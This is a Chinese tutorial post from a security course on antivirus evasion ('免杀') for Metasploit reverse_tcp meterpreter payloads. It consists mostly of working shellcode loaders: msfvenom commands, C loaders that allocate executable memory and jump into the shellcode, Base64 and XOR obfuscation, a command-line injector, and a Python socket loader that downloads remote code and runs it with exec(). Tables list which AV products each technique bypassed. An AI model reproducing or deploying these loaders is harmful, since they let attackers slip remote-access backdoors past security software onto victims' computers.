免杀对抗|C/C++ Bypass AV(MSF)

小迪安全 2021-10-10

2540

课件来源于100次直播

#知识点：
1、C/C++-Shellcode编译
2、C/C++-编码加密-XOR&BASE64
3、C/C++-分离式加载器-参数&SOCK


#以下环境采用MSF生成的C-Shellcode测试

C/C++_Shellcode-单纯编译

安全厂商	语言/类别	结果
X60	C/C++ 直接编译	Bypass
管家	C/C++ 直接编译	GG
某绒	C/C++ 直接编译	GG
Windows Defender	C/C++ 直接编译	GG

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f c

#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")


unsigned char shellcode[] =""; //MSF生成的shellcode


void main()
{
    PVOID p = NULL;
    p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL)
    {
        return;
    }
    memcpy(p, shellcode, sizeof(shellcode));


    CODE code = (CODE)p;
    code();
}

1、C/C++_Shellcode-汇编执行

安全厂商	语言/类别	结果
X60	C/C++ 汇编调用	Bypass
管家	C/C++ 汇编调用	GG
某绒	C/C++ 汇编调用	GG
Windows Defender	C/C++ 汇编调用	GG

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")


unsigned char shellcode[] =""; //MSF生成的shellcode


void main()
{
    __asm
    {
        mov eax, offset shellcode
        _emit 0xFF
        _emit 0xE0
    }
}

2、C/C++_Shellcode-编码混淆

安全厂商	语言/类别	结果
X60	C/C++ 编码混淆	Bypass
管家	C/C++ 编码混淆	Bypass
某绒	C/C++ 编码混淆	GG
Windows Defender	C/C++ 编码混淆	Bypass

1、 Python编码Shellcode后，利用C进行解码调用执行
2、 Shellcode进行XOR运算后，利用C进行调用执行


msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=xx.xx.xx.xx lport=xx-f c

1.c code:
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include "base64.h"


#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") 


unsigned char buf[] =""; //MSF生成Base64 shellcode


int main(int argc, const char* argv[]) {
    char str1[1000] = { 0 };
    Base64decode(str1, buf);
    //printf("%d  ", sizeof(str3));
    char* Memory;
    Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, str1, sizeof(str1));
    ((void(*)())Memory)();
    return 0;
}

base64.h code
#pragma once
#ifndef _BASE64_H_
#define _BASE64_H_


#ifdef __cplusplus
extern "C" {
#endif


    int Base64encode_len(int len);
    int Base64encode(char* coded_dst, const char* plain_src, int len_plain_src);


    int Base64decode_len(const char* coded_src);
    int Base64decode(char* plain_dst, const char* coded_src);


#ifdef __cplusplus
}
#endif


#endif //_BASE64_H_

base64.c code
/* Base64 encoder/decoder. Originally Apache file ap_base64.c
*/


#include <string.h>


#include "base64.h"


/* aaaack but it's fast and const should make it shared text page. */
static const unsigned char pr2six[256] =
{
    /* ASCII table */
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
    52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
    64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
    64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
};


int Base64decode_len(const char* bufcoded)
{
    int nbytesdecoded;
    register const unsigned char* bufin;
    register int nprbytes;


    bufin = (const unsigned char*)bufcoded;
    while (pr2six[*(bufin++)] <= 63);


    nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
    nbytesdecoded = ((nprbytes + 3) / 4) * 3;


    return nbytesdecoded + 1;
}


int Base64decode(char* bufplain, const char* bufcoded)
{
    int nbytesdecoded;
    register const unsigned char* bufin;
    register unsigned char* bufout;
    register int nprbytes;


    bufin = (const unsigned char*)bufcoded;
    while (pr2six[*(bufin++)] <= 63);
    nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
    nbytesdecoded = ((nprbytes + 3) / 4) * 3;


    bufout = (unsigned char*)bufplain;
    bufin = (const unsigned char*)bufcoded;


    while (nprbytes > 4) {
        *(bufout++) =
            (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
        *(bufout++) =
            (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
        *(bufout++) =
            (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
        bufin += 4;
        nprbytes -= 4;
    }


    /* Note: (nprbytes == 1) would be an error, so just ingore that case */
    if (nprbytes > 1) {
        *(bufout++) =
            (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
    }
    if (nprbytes > 2) {
        *(bufout++) =
            (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
    }
    if (nprbytes > 3) {
        *(bufout++) =
            (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
    }


    *(bufout++) = '\0';
    nbytesdecoded -= (4 - nprbytes) & 3;
    return nbytesdecoded;
}


static const char basis_64[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";


int Base64encode_len(int len)
{
    return ((len + 2) / 3 * 4) + 1;
}


int Base64encode(char* encoded, const char* string, int len)
{
    int i;
    char* p;


    p = encoded;
    for (i = 0; i < len - 2; i += 3) {
        *p++ = basis_64[(string[i] >> 2) & 0x3F];
        *p++ = basis_64[((string[i] & 0x3) << 4) |
            ((int)(string[i + 1] & 0xF0) >> 4)];
        *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
            ((int)(string[i + 2] & 0xC0) >> 6)];
        *p++ = basis_64[string[i + 2] & 0x3F];
    }
    if (i < len) {
        *p++ = basis_64[(string[i] >> 2) & 0x3F];
        if (i == (len - 1)) {
            *p++ = basis_64[((string[i] & 0x3) << 4)];
            //    *p++ = '=';
        }
        else {
            *p++ = basis_64[((string[i] & 0x3) << 4) |
                ((int)(string[i + 1] & 0xF0) >> 4)];
            *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
        }
        //*p++ = '=';
    }


    *p++ = '\0';
    return p - encoded;
}

3、C/C++_Shellcode-分离加载

安全厂商	语言/类别	结果
X60	C/C++ 编码混淆	Bypass
管家	C/C++ 编码混淆	Bypass
某绒	C/C++ 编码混淆	Bypass
Windows Defender	C/C++ 编码混淆	GG

利用思路：编译接受执行加载器，进行Shellcode参数传递调用执行
项目：
https://github.com/DimopoulosElias/SimpleShellcodeInjector
生成：
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=6688 -f c -o msf.txt
分割：
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
编译：
"i686-w64-mingw32-c++.exe" SimpleShellcodeInjector.c -o ssi.exe
使用：
ssi.exe shellcode

4、Python++_Shellcode-分离Sock

安全厂商	语言/类别	结果
X60	Python Socket传输	Bypass
管家	Python Socket传输	Bypass
某绒	Python Socket传输	Bypass
Windows Defender	Python Socket传输	Bypass

利用思路：建立客户端和服务端，Shellcode以数据发送接收执行
本来准备测试C/C++ Socket传输shellcode上线
由于C代码socket开发较为复杂，改用Python替代

import socket,base64


server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.connect(('192.168.46.138',7777))
#s shellcode base64编码值
s=''


while 1:
    server.sendall(bytes(s, 'utf-8'))


#coding:utf-8
import socket,requests
import ctypes,base64


server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(('127.0.0.1',7777))
server.listen(1)
print('waiting for connection...')
conn,addr=server.accept()
print("已经连接")


while 1:
    s=conn.recv(1024).decode('utf-8')
    shellcode=base64.b64decode(s)
    #ss 代码执行函数base64编码值 URL获取
    ss = requests.get('http://www.xx.com/xx.txt').text
    func = base64.b64decode(ss)
    exec(func)

吃瓜请扫码：

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免杀对抗|C/C++ Bypass AV(MSF)

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